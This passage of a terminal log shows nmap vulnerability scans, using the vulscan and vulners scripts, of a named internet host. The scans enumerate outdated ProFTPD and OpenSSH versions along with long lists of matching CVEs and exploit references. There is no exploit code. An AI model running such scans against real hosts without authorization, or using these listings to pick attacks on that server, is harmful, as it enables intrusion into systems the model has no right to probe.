  1691. | [16851] ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
  1692. | [15662] ProFTPD 1.3.3c compromised source remote root Trojan
  1693. | [20690] wu-ftpd 2.4/2.5/2.6,Trolltech ftpd 1.2,ProFTPD 1.2,BeroFTPD 1.3.4 FTP glob Expansion Vulnerability
  1694. | [16852] ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
  1695. | [10044] ProFTPd 1.3.0 mod_ctrls Local Stack Overflow (opensuse)
  1696. | [3730] ProFTPD 1.3.0/1.3.0a (mod_ctrls) Local Overflow Exploit (exec-shield)
  1697. | [3333] ProFTPD 1.3.0/1.3.0a (mod_ctrls support) Local Buffer Overflow Exploit 2
  1698. | [3330] ProFTPD 1.3.0/1.3.0a (mod_ctrls support) Local Buffer Overflow Exploit
  1699. | [2928] ProFTPD <= 1.3.0a (mod_ctrls support) Local Buffer Overflow PoC
  1700. | [2856] ProFTPD 1.3.0 (sreplace) Remote Stack Overflow Exploit (meta)
  1701. |
  1702. | OpenVAS (Nessus) - http://www.openvas.org:
  1703. | [103331] ProFTPD Prior To 1.3.3g Use-After-Free Remote Code Execution Vulnerability
  1704. | [63497] Debian Security Advisory DSA 1730-1 (proftpd-dfsg)
  1705. |
  1706. | SecurityTracker - https://www.securitytracker.com:
  1707. | [1028040] ProFTPD MKD/XMKD Race Condition Lets Local Users Gain Elevated Privileges
  1708. | [1026321] ProFTPD Use-After-Free Memory Error Lets Remote Authenticated Users Execute Arbitrary Code
  1709. | [1020945] ProFTPD Request Processing Bug Permits Cross-Site Request Forgery Attacks
  1710. | [1017931] ProFTPD Auth API State Error May Let Remote Users Access the System in Certain Cases
  1711. | [1017167] ProFTPD sreplace() Off-by-one Bug Lets Remote Users Execute Arbitrary Code
  1712. | [1012488] ProFTPD SITE CHGRP Command Lets Remote Authenticated Users Modify File/Directory Group Ownership
  1713. | [1011687] ProFTPd Login Timing Differences Disclose Valid User Account Names to Remote Users
  1714. | [1009997] ProFTPD Access Control Bug With CIDR Addresses May Let Remote Authenticated Users Access Files
  1715. | [1009297] ProFTPD _xlate_ascii_write() Off-By-One Buffer Overflows Let Remote Users Execute Arbitrary Code With Root Privileges
  1716. | [1007794] ProFTPD ASCII Mode File Upload Buffer Overflow Lets Certain Remote Users Execute Arbitrary Code
  1717. | [1007020] ProFTPD Input Validation Flaw When Authenticating Against Postgresql Using 'mod_sql' Lets Remote Users Gain Access
  1718. | [1003019] ProFTPD FTP Server May Allow Local Users to Execute Code on the Server
  1719. | [1002354] ProFTPD Reverse DNS Feature Fails to Check Forward-to-Reverse DNS Mappings
  1720. | [1002148] ProFTPD Site and Quote Commands May Allow Remote Users to Execute Arbitrary Commands on the Server
  1721. |
  1722. | OSVDB - http://www.osvdb.org:
  1723. | [89051] ProFTPD Multiple FTP Command Handling Symlink Arbitrary File Overwrite
  1724. | [77004] ProFTPD Use-After-Free Response Pool Allocation List Parsing Remote Memory Corruption
  1725. | [70868] ProFTPD mod_sftp Component SSH Payload DoS
  1726. | [70782] ProFTPD contrib/mod_sql.c sql_prepare_where Function Crafted Username Handling Remote Overflow
  1727. | [69562] ProFTPD on ftp.proftpd.org Compromised Source Packages Trojaned Distribution
  1728. | [69200] ProFTPD pr_data_xfer Function ABOR Command Remote DoS
  1729. | [68988] ProFTPD mod_site_misc Module Multiple Command Traversal Arbitrary File Manipulation
  1730. | [68985] ProFTPD netio.c pr_netio_telnet_gets Function TELNET_IAC Escape Sequence Remote Overflow
  1731. | [59292] ProFTPD mod_tls Module Certificate Authority (CA) subjectAltName Field Null Byte Handling SSL MiTM Weakness
  1732. | [57311] ProFTPD contrib/mod_ratio.c Multiple Unspecified Buffer Handling Issues
  1733. | [57310] ProFTPD Multiple Unspecified Overflows
  1734. | [57309] ProFTPD src/support.c Unspecified Buffer Handling Issue
  1735. | [57308] ProFTPD modules/mod_core.c Multiple Unspecified Overflows
  1736. | [57307] ProFTPD Multiple Modules Unspecified Overflows
  1737. | [57306] ProFTPD contrib/mod_pam.c Multiple Unspecified Buffer Handling Issues
  1738. | [57305] ProFTPD src/main.c Unspecified Overflow
  1739. | [57304] ProFTPD src/log.c Logfile Handling Unspecified Race Condition
  1740. | [57303] ProFTPD modules/mod_auth.c Unspecified Issue
  1741. | [51954] ProFTPD Server NLS Support mod_sql_* Encoded Multibyte Character SQL Injection Protection Bypass
  1742. | [51953] ProFTPD Server mod_sql username % Character Handling SQL Injection
  1743. | [51849] ProFTPD Character Encoding SQL Injection
  1744. | [51720] ProFTPD NLST Command Argument Handling Remote Overflow
  1745. | [51719] ProFTPD MKDIR Command Directory Name Handling Remote Overflow
  1746. | [48411] ProFTPD FTP Command Truncation CSRF
  1747. | [34602] ProFTPD Auth API Multiple Auth Module Authentication Bypass
  1748. | [31509] ProFTPD mod_ctrls Module pr_ctrls_recv_request Function Local Overflow
  1749. | [30719] mod_tls Module for ProFTPD tls_x509_name_oneline Function Remote Overflow
  1750. | [30660] ProFTPD CommandBufferSize Option cmd_loop() Function DoS
  1751. | [30267] ProFTPD src/support.c sreplace() Function Remote Overflow
  1752. | [23063] ProFTPD mod_radius Password Overflow DoS
  1753. | [20212] ProFTPD Host Reverse Resolution Failure ACL Bypass
  1754. | [18271] ProFTPD mod_sql SQLShowInfo Directive Format String
  1755. | [18270] ProFTPD ftpshut Shutdown Message Format String
  1756. | [14012] GProftpd gprostats Utility Log Parser Remote Format String
  1757. | [10769] ProFTPD File Transfer Newline Character Overflow
  1758. | [10768] ProFTPD STAT Command Remote DoS
  1759. | [10758] ProFTPD Login Timing Account Name Enumeration
  1760. | [10173] ProFTPD mod_sqlpw wtmp Authentication Credential Disclosure
  1761. | [9507] PostgreSQL Authentication Module (mod_sql) for ProFTPD USER Name Parameter SQL Injection
  1762. | [9163] ProFTPD MKDIR Directory Creation / Change Remote Overflow (palmetto)
  1763. | [7166] ProFTPD SIZE Command Memory Leak Remote DoS
  1764. | [7165] ProFTPD USER Command Memory Leak DoS
  1765. | [5744] ProFTPD CIDR IP Subnet ACL Bypass
  1766. | [5705] ProFTPD Malformed cwd Command Format String
  1767. | [5638] ProFTPD on Debian Linux postinst Installation Privilege Escalation
  1768. | [4134] ProFTPD in_xlate_ascii_write() Function RETR Command Remote Overflow
  1769. | [144] ProFTPD src/log.c log_xfer() Function Remote Overflow
  1770. |_
  1771. Service Info: OS: Unix
  1772.  
  1773. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  1774. Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
  1775.  
  1776.  
  1777. root@blackbox:/usr/share/nmap/scripts# nmap --script vulscan -sV -p22 184.154.192.250
  1778. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:28 CST
  1779. Nmap scan report for server.etours.cn (184.154.192.250)
  1780. Host is up (0.037s latency).
  1781.  
  1782. PORT STATE SERVICE VERSION
  1783. 22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
  1784. | vulscan: VulDB - https://vuldb.com:
  1785. | [44077] OpenBSD OpenSSH up to 4.3 Signal denial of service
  1786. | [39331] OpenSSH 4.3p2 Audit Log linux_audit_record_event unknown vulnerability
  1787. | [43307] OpenSSH 4.0 unknown vulnerability
  1788. | [41835] OpenSSH up to 4.8 unknown vulnerability
  1789. | [38743] OpenSSH up to 4.6 unknown vulnerability
  1790. | [36382] OpenBSD OpenSSH up to 4.6 information disclosure
  1791. | [32699] OpenBSD OpenSSH 4.1 denial of service
  1792. | [2667] OpenBSD OpenSSH 4.4 Separation Monitor unknown vulnerability
  1793. |
  1794. | MITRE CVE - https://cve.mitre.org:
  1795. | [CVE-2009-2904] A certain Red Hat modification to the ChrootDirectory feature in OpenSSH 4.8, as used in sshd in OpenSSH 4.3 in Red Hat Enterprise Linux (RHEL) 5.4 and Fedora 11, allows local users to gain privileges via hard links to setuid programs that use configuration files within the chroot directory, related to requirements for directory ownership.
  1796. | [CVE-2008-4109] A certain Debian patch for OpenSSH before 4.3p2-9etch3 on etch
  1797. | [CVE-2008-1483] OpenSSH 4.3p2, and probably other versions, allows local users to hijack forwarded X connections by causing ssh to set DISPLAY to :10, even when another process is listening on the associated port, as demonstrated by opening TCP port 6010 (IPv4) and sniffing a cookie sent by Emacs.
  1798. | [CVE-2007-3102] Unspecified vulnerability in the linux_audit_record_event function in OpenSSH 4.3p2, as used on Fedora Core 6 and possibly other systems, allows remote attackers to write arbitrary characters to an audit log via a crafted username. NOTE: some of these details are obtained from third party information.
  1799. | [CVE-2010-4755] The (1) remote_glob function in sftp-glob.c and the (2) process_put function in sftp.c in OpenSSH 5.8 and earlier, as used in FreeBSD 7.3 and 8.1, NetBSD 5.0.2, OpenBSD 4.7, and other products, allow remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in SSH_FXP_STAT requests to an sftp daemon, a different vulnerability than CVE-2010-2632.
  1800. | [CVE-2008-3844] Certain Red Hat Enterprise Linux (RHEL) 4 and 5 packages for OpenSSH, as signed in August 2008 using a legitimate Red Hat GPG key, contain an externally introduced modification (Trojan Horse) that allows the package authors to have an unknown impact. NOTE: since the malicious packages were not distributed from any official Red Hat sources, the scope of this issue is restricted to users who may have obtained these packages through unofficial distribution points. As of 20080827, no unofficial distributions of this software are known.
  1801. | [CVE-2008-3234] sshd in OpenSSH 4 on Debian GNU/Linux, and the 20070303 OpenSSH snapshot, allows remote authenticated users to obtain access to arbitrary SELinux roles by appending a :/ (colon slash) sequence, followed by the role name, to the username.
  1802. | [CVE-2008-1657] OpenSSH 4.4 up to versions before 4.9 allows remote authenticated users to bypass the sshd_config ForceCommand directive by modifying the .ssh/rc session file.
  1803. | [CVE-2007-6415] scponly 4.6 and earlier allows remote authenticated users to bypass intended restrictions and execute arbitrary code by invoking scp, as implemented by OpenSSH, with the -F and -o options.
  1804. | [CVE-2007-4752] ssh in OpenSSH before 4.7 does not properly handle when an untrusted cookie cannot be created and uses a trusted X11 cookie instead, which allows attackers to violate intended policy and gain privileges by causing an X client to be treated as trusted.
  1805. | [CVE-2007-2243] OpenSSH 4.6 and earlier, when ChallengeResponseAuthentication is enabled, allows remote attackers to determine the existence of user accounts by attempting to authenticate via S/KEY, which displays a different response if the user account exists, a similar issue to CVE-2001-1483.
  1806. | [CVE-2006-5794] Unspecified vulnerability in the sshd Privilege Separation Monitor in OpenSSH before 4.5 causes weaker verification that authentication has been successful, which might allow attackers to bypass authentication. NOTE: as of 20061108, it is believed that this issue is only exploitable by leveraging vulnerabilities in the unprivileged process, which are not known to exist.
  1807. | [CVE-2006-5229] OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions, and possibly under limited configurations, allows remote attackers to determine valid usernames via timing discrepancies in which responses take longer for valid usernames than invalid ones, as demonstrated by sshtime. NOTE: as of 20061014, it appears that this issue is dependent on the use of manually-set passwords that causes delays when processing /etc/shadow due to an increased number of rounds.
  1808. | [CVE-2006-5052] Unspecified vulnerability in portable OpenSSH before 4.4, when running on some platforms, allows remote attackers to determine the validity of usernames via unknown vectors involving a GSSAPI "authentication abort."
  1809. | [CVE-2006-5051] Signal handler race condition in OpenSSH before 4.4 allows remote attackers to cause a denial of service (crash), and possibly execute arbitrary code if GSSAPI authentication is enabled, via unspecified vectors that lead to a double-free.
  1810. | [CVE-2006-4924] sshd in OpenSSH before 4.4, when using the version 1 SSH protocol, allows remote attackers to cause a denial of service (CPU consumption) via an SSH packet that contains duplicate blocks, which is not properly handled by the CRC compensation attack detector.
  1811. | [CVE-2006-0225] scp in OpenSSH 4.2p1 allows attackers to execute arbitrary commands via filenames that contain shell metacharacters or spaces, which are expanded twice.
  1812. | [CVE-2005-2798] sshd in OpenSSH before 4.2, when GSSAPIDelegateCredentials is enabled, allows GSSAPI credentials to be delegated to clients who log in using non-GSSAPI methods, which could cause those credentials to be exposed to untrusted users or hosts.
  1813. | [CVE-2005-2797] OpenSSH 4.0, and other versions before 4.2, does not properly handle dynamic port forwarding ("-D" option) when a listen address is not provided, which may cause OpenSSH to enable the GatewayPorts functionality.
  1814. | [CVE-2005-2666] SSH, as implemented in OpenSSH before 4.0 and possibly other implementations, stores hostnames, IP addresses, and keys in plaintext in the known_hosts file, which makes it easier for an attacker that has compromised an SSH user's account to generate a list of additional targets that are more likely to have the same password or key.
  1815. | [CVE-2001-1029] libutil in OpenSSH on FreeBSD 4.4 and earlier does not drop privileges before verifying the capabilities for reading the copyright and welcome files, which allows local users to bypass the capabilities checks and read arbitrary files by specifying alternate copyright or welcome files.
  1816. |
  1817. | SecurityFocus - https://www.securityfocus.com/bid/:
  1818. | [4560] OpenSSH Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
  1819. |
  1820. | IBM X-Force - https://exchange.xforce.ibmcloud.com:
  1821. | [8896] OpenSSH Kerberos 4 TGT/AFS buffer overflow
  1822. |
  1823. | Exploit-DB - https://www.exploit-db.com:
  1824. | [2444] OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit
  1825. | [21402] OpenSSH 2.x/3.x Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
  1826. | [3303] Portable OpenSSH <= 3.6.1p-PAM / 4.1-SUSE Timing Attack Exploit
  1827. |
  1828. | OpenVAS (Nessus) - http://www.openvas.org:
  1829. | [902488] OpenSSH 'sshd' GSSAPI Credential Disclosure Vulnerability
  1830. | [900179] OpenSSH CBC Mode Information Disclosure Vulnerability
  1831. | [881183] CentOS Update for openssh CESA-2012:0884 centos6
  1832. | [880802] CentOS Update for openssh CESA-2009:1287 centos5 i386
  1833. | [880746] CentOS Update for openssh CESA-2009:1470 centos5 i386
  1834. | [870763] RedHat Update for openssh RHSA-2012:0884-04
  1835. | [870129] RedHat Update for openssh RHSA-2008:0855-01
  1836. | [861813] Fedora Update for openssh FEDORA-2010-5429
  1837. | [861319] Fedora Update for openssh FEDORA-2007-395
  1838. | [861170] Fedora Update for openssh FEDORA-2007-394
  1839. | [861012] Fedora Update for openssh FEDORA-2007-715
  1840. | [840345] Ubuntu Update for openssh vulnerability USN-597-1
  1841. | [840300] Ubuntu Update for openssh update USN-612-5
  1842. | [840271] Ubuntu Update for openssh vulnerability USN-612-2
  1843. | [840268] Ubuntu Update for openssh update USN-612-7
  1844. | [840259] Ubuntu Update for openssh vulnerabilities USN-649-1
  1845. | [840214] Ubuntu Update for openssh vulnerability USN-566-1
  1846. | [831074] Mandriva Update for openssh MDVA-2010:162 (openssh)
  1847. | [830929] Mandriva Update for openssh MDVA-2010:090 (openssh)
  1848. | [830807] Mandriva Update for openssh MDVA-2010:026 (openssh)
  1849. | [830603] Mandriva Update for openssh MDVSA-2008:098 (openssh)
  1850. | [830523] Mandriva Update for openssh MDVSA-2008:078 (openssh)
  1851. | [830317] Mandriva Update for openssh-askpass-qt MDKA-2007:127 (openssh-askpass-qt)
  1852. | [830191] Mandriva Update for openssh MDKSA-2007:236 (openssh)
  1853. | [802407] OpenSSH 'sshd' Challenge Response Authentication Buffer Overflow Vulnerability
  1854. | [103503] openssh-server Forced Command Handling Information Disclosure Vulnerability
  1855. | [103247] OpenSSH Ciphersuite Specification Information Disclosure Weakness
  1856. | [103064] OpenSSH Legacy Certificate Signing Information Disclosure Vulnerability
  1857. | [100584] OpenSSH X Connections Session Hijacking Vulnerability
  1858. | [100153] OpenSSH CBC Mode Information Disclosure Vulnerability
  1859. | [66170] CentOS Security Advisory CESA-2009:1470 (openssh)
  1860. | [65987] SLES10: Security update for OpenSSH
  1861. | [65819] SLES10: Security update for OpenSSH
  1862. | [65514] SLES9: Security update for OpenSSH
  1863. | [65513] SLES9: Security update for OpenSSH
  1864. | [65334] SLES9: Security update for OpenSSH
  1865. | [65248] SLES9: Security update for OpenSSH
  1866. | [65218] SLES9: Security update for OpenSSH
  1867. | [65169] SLES9: Security update for openssh,openssh-askpass
  1868. | [65126] SLES9: Security update for OpenSSH
  1869. | [65019] SLES9: Security update for OpenSSH
  1870. | [65015] SLES9: Security update for OpenSSH
  1871. | [64931] CentOS Security Advisory CESA-2009:1287 (openssh)
  1872. | [61639] Debian Security Advisory DSA 1638-1 (openssh)
  1873. | [61030] Debian Security Advisory DSA 1576-2 (openssh)
  1874. | [61029] Debian Security Advisory DSA 1576-1 (openssh)
  1875. | [60840] FreeBSD Security Advisory (FreeBSD-SA-08:05.openssh.asc)
  1876. | [60803] Gentoo Security Advisory GLSA 200804-03 (openssh)
  1877. | [60667] Slackware Advisory SSA:2008-095-01 openssh
  1878. | [59014] Slackware Advisory SSA:2007-255-01 openssh
  1879. | [58741] Gentoo Security Advisory GLSA 200711-02 (openssh)
  1880. | [57919] Gentoo Security Advisory GLSA 200611-06 (openssh)
  1881. | [57895] Gentoo Security Advisory GLSA 200609-17 (openssh)
  1882. | [57585] Debian Security Advisory DSA 1212-1 (openssh (1:3.8.1p1-8.sarge.6))
  1883. | [57492] Slackware Advisory SSA:2006-272-02 openssh
  1884. | [57483] Debian Security Advisory DSA 1189-1 (openssh-krb5)
  1885. | [57476] FreeBSD Security Advisory (FreeBSD-SA-06:22.openssh.asc)
  1886. | [57470] FreeBSD Ports: openssh
  1887. | [56352] FreeBSD Security Advisory (FreeBSD-SA-06:09.openssh.asc)
  1888. | [56330] Gentoo Security Advisory GLSA 200602-11 (OpenSSH)
  1889. | [56294] Slackware Advisory SSA:2006-045-06 openssh
  1890. | [53964] Slackware Advisory SSA:2003-266-01 New OpenSSH packages
  1891. | [53885] Slackware Advisory SSA:2003-259-01 OpenSSH Security Advisory
  1892. | [53884] Slackware Advisory SSA:2003-260-01 OpenSSH updated again
  1893. | [53788] Debian Security Advisory DSA 025-1 (openssh)
  1894. | [52638] FreeBSD Security Advisory (FreeBSD-SA-03:15.openssh.asc)
  1895. | [52635] FreeBSD Security Advisory (FreeBSD-SA-03:12.openssh.asc)
  1896. | [11343] OpenSSH Client Unauthorized Remote Forwarding
  1897. | [10954] OpenSSH AFS/Kerberos ticket/token passing
  1898. | [10883] OpenSSH Channel Code Off by 1
  1899. | [10823] OpenSSH UseLogin Environment Variables
  1900. |
  1901. | SecurityTracker - https://www.securitytracker.com:
  1902. | [1028187] OpenSSH pam_ssh_agent_auth Module on Red Hat Enterprise Linux Lets Remote Users Execute Arbitrary Code
  1903. | [1026593] OpenSSH Lets Remote Authenticated Users Obtain Potentially Sensitive Information
  1904. | [1025739] OpenSSH on FreeBSD Has Buffer Overflow in pam_thread() That Lets Remote Users Execute Arbitrary Code
  1905. | [1025482] OpenSSH ssh-keysign Utility Lets Local Users Gain Elevated Privileges
  1906. | [1025028] OpenSSH Legacy Certificates May Disclose Stack Contents to Remote Users
  1907. | [1022967] OpenSSH on Red Hat Enterprise Linux Lets Remote Authenticated Users Gain Elevated Privileges
  1908. | [1021235] OpenSSH CBC Mode Error Handling May Let Certain Remote Users Obtain Plain Text in Certain Cases
  1909. | [1020891] OpenSSH on Debian Lets Remote Users Prevent Logins
  1910. | [1020730] OpenSSH for Red Hat Enterprise Linux Packages May Have Been Compromised
  1911. | [1020537] OpenSSH on HP-UX Lets Local Users Hijack X11 Sessions
  1912. | [1019733] OpenSSH Unsafe Default Configuration May Let Local Users Execute Arbitrary Commands
  1913. | [1019707] OpenSSH Lets Local Users Hijack Forwarded X Sessions in Certain Cases
  1914. | [1017756] Apple OpenSSH Key Generation Process Lets Remote Users Deny Service
  1915. | [1017183] OpenSSH Privilege Separation Monitor Validation Error May Cause the Monitor to Fail to Properly Control the Unprivileged Process
  1916. | [1016940] OpenSSH Race Condition in Signal Handler Lets Remote Users Deny Service and May Potentially Permit Code Execution
  1917. | [1016939] OpenSSH GSSAPI Authentication Abort Error Lets Remote Users Determine Valid Usernames
  1918. | [1016931] OpenSSH SSH v1 CRC Attack Detection Implementation Lets Remote Users Deny Service
  1919. | [1016672] OpenSSH on Mac OS X Lets Remote Users Deny Service
  1920. | [1015706] OpenSSH Interaction With OpenPAM Lets Remote Users Deny Service
  1921. | [1015540] OpenSSH scp Double Shell Character Expansion During Local-to-Local Copying May Let Local Users Gain Elevated Privileges in Certain Cases
  1922. | [1014845] OpenSSH May Unexpectedly Activate GatewayPorts and Also May Disclose GSSAPI Credentials in Certain Cases
  1923. | [1011193] OpenSSH scp Directory Traversal Flaw Lets Remote SSH Servers Overwrite Files in Certain Cases
  1924. | [1011143] OpenSSH Default Configuration May Be Unsafe When Used With Anonymous SSH Services
  1925. | [1007791] Portable OpenSSH PAM free() Bug May Let Remote Users Execute Root Code
  1926. | [1007716] OpenSSH buffer_append_space() and Other Buffer Management Errors May Let Remote Users Execute Arbitrary Code
  1927. | [1006926] OpenSSH Host Access Restrictions Can Be Bypassed By Remote Users
  1928. | [1006688] OpenSSH Timing Flaw With Pluggable Authentication Modules Can Disclose Valid User Account Names to Remote Users
  1929. | [1004818] OpenSSH's Secure Shell (SSH) Implementation Weakness May Disclose User Passwords to Remote Users During Man-in-the-Middle Attacks
  1930. | [1004616] OpenSSH Integer Overflow and Buffer Overflow May Allow Remote Users to Gain Root Access to the System
  1931. | [1004391] OpenSSH 'BSD_AUTH' Access Control Bug May Allow Unauthorized Remote Users to Authenticated to the System
  1932. | [1004115] OpenSSH Buffer Overflow in Kerberos Ticket and AFS Token Processing Lets Local Users Execute Arbitrary Code With Root Level Permissions
  1933. | [1003758] OpenSSH Off-by-one 'Channels' Bug May Let Authorized Remote Users Execute Arbitrary Code with Root Privileges
  1934. | [1002895] OpenSSH UseLogin Environment Variable Bug Lets Local Users Execute Commands and Gain Root Access
  1935. | [1002748] OpenSSH 3.0 Denial of Service Condition May Allow Remote Users to Crash the sshd Daemon and KerberosV Configuration Error May Allow Remote Users to Partially Authenticate When Authentication Should Not Be Permitted
  1936. | [1002734] OpenSSH's S/Key Implementation Information Disclosure Flaw Provides Remote Users With Information About Valid User Accounts
  1937. | [1002455] OpenSSH May Fail to Properly Restrict IP Addresses in Certain Configurations
  1938. | [1002432] OpenSSH's Sftp-server Subsystem Lets Authorized Remote Users with Restricted Keypairs Obtain Additional Access on the Server
  1939. | [1001683] OpenSSH Allows Authorized Users to Delete Other User Files Named Cookies
  1940. |
  1941. | OSVDB - http://www.osvdb.org:
  1942. | [92034] GSI-OpenSSH auth-pam.c Memory Management Authentication Bypass
  1943. | [90474] Red Hat / Fedora PAM Module for OpenSSH Incorrect error() Function Calling Local Privilege Escalation
  1944. | [90007] OpenSSH logingracetime / maxstartup Threshold Connection Saturation Remote DoS
  1945. | [81500] OpenSSH gss-serv.c ssh_gssapi_parse_ename Function Field Length Value Parsing Remote DoS
  1946. | [78706] OpenSSH auth-options.c sshd auth_parse_options Function authorized_keys Command Option Debug Message Information Disclosure
  1947. | [75753] OpenSSH PAM Module Aborted Conversation Local Information Disclosure
  1948. | [75249] OpenSSH sftp-glob.c remote_glob Function Glob Expression Parsing Remote DoS
  1949. | [75248] OpenSSH sftp.c process_put Function Glob Expression Parsing Remote DoS
  1950. | [72183] Portable OpenSSH ssh-keysign ssh-rand-helper Utility File Descriptor Leak Local Information Disclosure
  1951. | [70873] OpenSSH Legacy Certificates Stack Memory Disclosure
  1952. | [69658] OpenSSH J-PAKE Public Parameter Validation Shared Secret Authentication Bypass
  1953. | [67743] Novell NetWare OpenSSH SSHD.NLM Absolute Path Handling Remote Overflow
  1954. | [59353] OpenSSH sshd Local TCP Redirection Connection Masking Weakness
  1955. | [58495] OpenSSH sshd ChrootDirectory Feature SetUID Hard Link Local Privilege Escalation
  1956. | [56921] OpenSSH Unspecified Remote Compromise
  1957. | [53021] OpenSSH on ftp.openbsd.org Trojaned Distribution
  1958. | [50036] OpenSSH CBC Mode Chosen Ciphertext 32-bit Chunk Plaintext Context Disclosure
  1959. | [49386] OpenSSH sshd TCP Connection State Remote Account Enumeration
  1960. | [48791] OpenSSH on Debian sshd Crafted Username Arbitrary Remote SELinux Role Access
  1961. | [47635] OpenSSH Packages on Red Hat Enterprise Linux Compromised Distribution
  1962. | [47227] OpenSSH X11UseLocalhost X11 Forwarding Port Hijacking
  1963. | [45873] Cisco WebNS SSHield w/ OpenSSH Crafted Large Packet Remote DoS
  1964. | [43911] OpenSSH ~/.ssh/rc ForceCommand Bypass Arbitrary Command Execution
  1965. | [43745] OpenSSH X11 Forwarding Local Session Hijacking
  1966. | [43371] OpenSSH Trusted X11 Cookie Connection Policy Bypass
  1967. | [39214] OpenSSH linux_audit_record_event Crafted Username Audit Log Injection
  1968. | [37315] pam_usb OpenSSH Authentication Unspecified Issue
  1969. | [34850] OpenSSH on Mac OS X Key Generation Remote Connection DoS
  1970. | [34601] OPIE w/ OpenSSH Account Enumeration
  1971. | [34600] OpenSSH S/KEY Authentication Account Enumeration
  1972. | [32721] OpenSSH Username Password Complexity Account Enumeration
  1973. | [30232] OpenSSH Privilege Separation Monitor Weakness
  1974. | [29494] OpenSSH packet.c Invalid Protocol Sequence Remote DoS
  1975. | [29266] OpenSSH GSSAPI Authentication Abort Username Enumeration
  1976. | [29264] OpenSSH Signal Handler Pre-authentication Race Condition Code Execution
  1977. | [29152] OpenSSH Identical Block Packet DoS
  1978. | [27745] Apple Mac OS X OpenSSH Nonexistent Account Login Enumeration DoS
  1979. | [23797] OpenSSH with OpenPAM Connection Saturation Forked Process Saturation DoS
  1980. | [22692] OpenSSH scp Command Line Filename Processing Command Injection
  1981. | [20216] OpenSSH with KerberosV Remote Authentication Bypass
  1982. | [19142] OpenSSH Multiple X11 Channel Forwarding Leaks
  1983. | [19141] OpenSSH GSSAPIAuthentication Credential Escalation
  1984. | [18236] OpenSSH no pty Command Execution Local PAM Restriction Bypass
  1985. | [16567] OpenSSH Privilege Separation LoginGraceTime DoS
  1986. | [16039] Solaris 108994 Series Patch OpenSSH LDAP Client Authentication DoS
  1987. | [9562] OpenSSH Default Configuration Anon SSH Service Port Bounce Weakness
  1988. | [9550] OpenSSH scp Traversal Arbitrary File Overwrite
  1989. | [6601] OpenSSH *realloc() Unspecified Memory Errors
  1990. | [6245] OpenSSH SKEY/BSD_AUTH Challenge-Response Remote Overflow
  1991. | [6073] OpenSSH on FreeBSD libutil Arbitrary File Read
  1992. | [6072] OpenSSH PAM Conversation Function Stack Modification
  1993. | [6071] OpenSSH SSHv1 PAM Challenge-Response Authentication Privilege Escalation
  1994. | [5536] OpenSSH sftp-server Restricted Keypair Restriction Bypass
  1995. | [5408] OpenSSH echo simulation Information Disclosure
  1996. | [5113] OpenSSH NIS YP Netgroups Authentication Bypass
  1997. | [4536] OpenSSH Portable AIX linker Privilege Escalation
  1998. | [3938] OpenSSL and OpenSSH /dev/random Check Failure
  1999. | [3456] OpenSSH buffer_append_space() Heap Corruption
  2000. | [2557] OpenSSH Multiple Buffer Management Multiple Overflows
  2001. | [2140] OpenSSH w/ PAM Username Validity Timing Attack
  2002. | [2112] OpenSSH Reverse DNS Lookup Bypass
  2003. | [2109] OpenSSH sshd Root Login Timing Side-Channel Weakness
  2004. | [1853] OpenSSH Symbolic Link 'cookies' File Removal
  2005. | [839] OpenSSH PAMAuthenticationViaKbdInt Challenge-Response Remote Overflow
  2006. | [781] OpenSSH Kerberos TGT/AFS Token Passing Remote Overflow
  2007. | [730] OpenSSH Channel Code Off by One Remote Privilege Escalation
  2008. | [688] OpenSSH UseLogin Environment Variable Local Command Execution
  2009. | [642] OpenSSH Multiple Key Type ACL Bypass
  2010. | [504] OpenSSH SSHv2 Public Key Authentication Bypass
  2011. | [341] OpenSSH UseLogin Local Privilege Escalation
  2012. |_
  2013.  
  2014. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2015. Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds
  2016.  
  2017.  
  2018. root@blackbox:/usr/share/nmap/scripts# nmap --script nmap-vulners,vulscan --script-args vulscandb -sV -p21 184.154.192.250
  2019. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:29 CST
  2020. Nmap scan report for server.etours.cn (184.154.192.250)
  2021. Host is up (0.14s latency).
  2022.  
  2023. PORT STATE SERVICE VERSION
  2024. 21/tcp open ftp ProFTPD 1.3.3e
  2025. | vulscan: VulDB - https://vuldb.com:
  2026. | [59589] ProFTPD up to 1.3.3 Use-After-Free memory corruption
  2027. | [4290] ProFTPD up to 1.3.3 mod_sftpd Big Payload denial of service
  2028. | [56304] ProFTPD up to 1.3.3 contrib/mod_sql.c) sql_prepare_where memory corruption
  2029. | [138380] ProFTPD 1.3.5b mod_copy Code Execution
  2030. | [81624] ProFTPD up to 1.3.5a/1.3.6rc1 mod_tls mod_tls.c weak encryption
  2031. | [75436] ProFTPD 1.3.4e/1.3.5 mod_copy File privilege escalation
  2032. | [10259] ProFTPD 1.3.4/1.3.5 mod_sftp/mod_sftp_pam kbdint.c resp_count denial of service
  2033. | [7244] ProFTPD up to 1.3.4 MKD/XMKD Command race condition
  2034. | [55410] ProFTPD 1.3.2/1.3.3 Telnet netio.c pr_netio_telnet_gets memory corruption
  2035. | [55392] ProFTPD up to 1.3.2 pr_data_xfer denial of service
  2036. | [50631] ProFTPD 1.3.1/1.3.2/1.3.3 mod_tls unknown vulnerability
  2037. | [46500] ProFTPD 1.3.1 mod_sql_mysql sql injection
  2038. | [46499] ProFTPD 1.3.1/1.3.2/1.3.2 Rc2 mod_sql sql injection
  2039. | [44191] ProFTPD 1.3.1 FTP Command cross site request forgery
  2040. | [36309] ProFTPD 1.3.0 Rc1 mod_sql Plaintext unknown vulnerability
  2041. | [2747] ProFTPD 1.3.0/1.3.0a mod_ctrls pr_ctrls_recv_request memory corruption
  2042. | [33495] ProFTPD 1.3.0a Configuration File affected denial of service
  2043. | [2711] ProFTPD 1.3.0a mod_tls tls_x509_name_oneline memory corruption
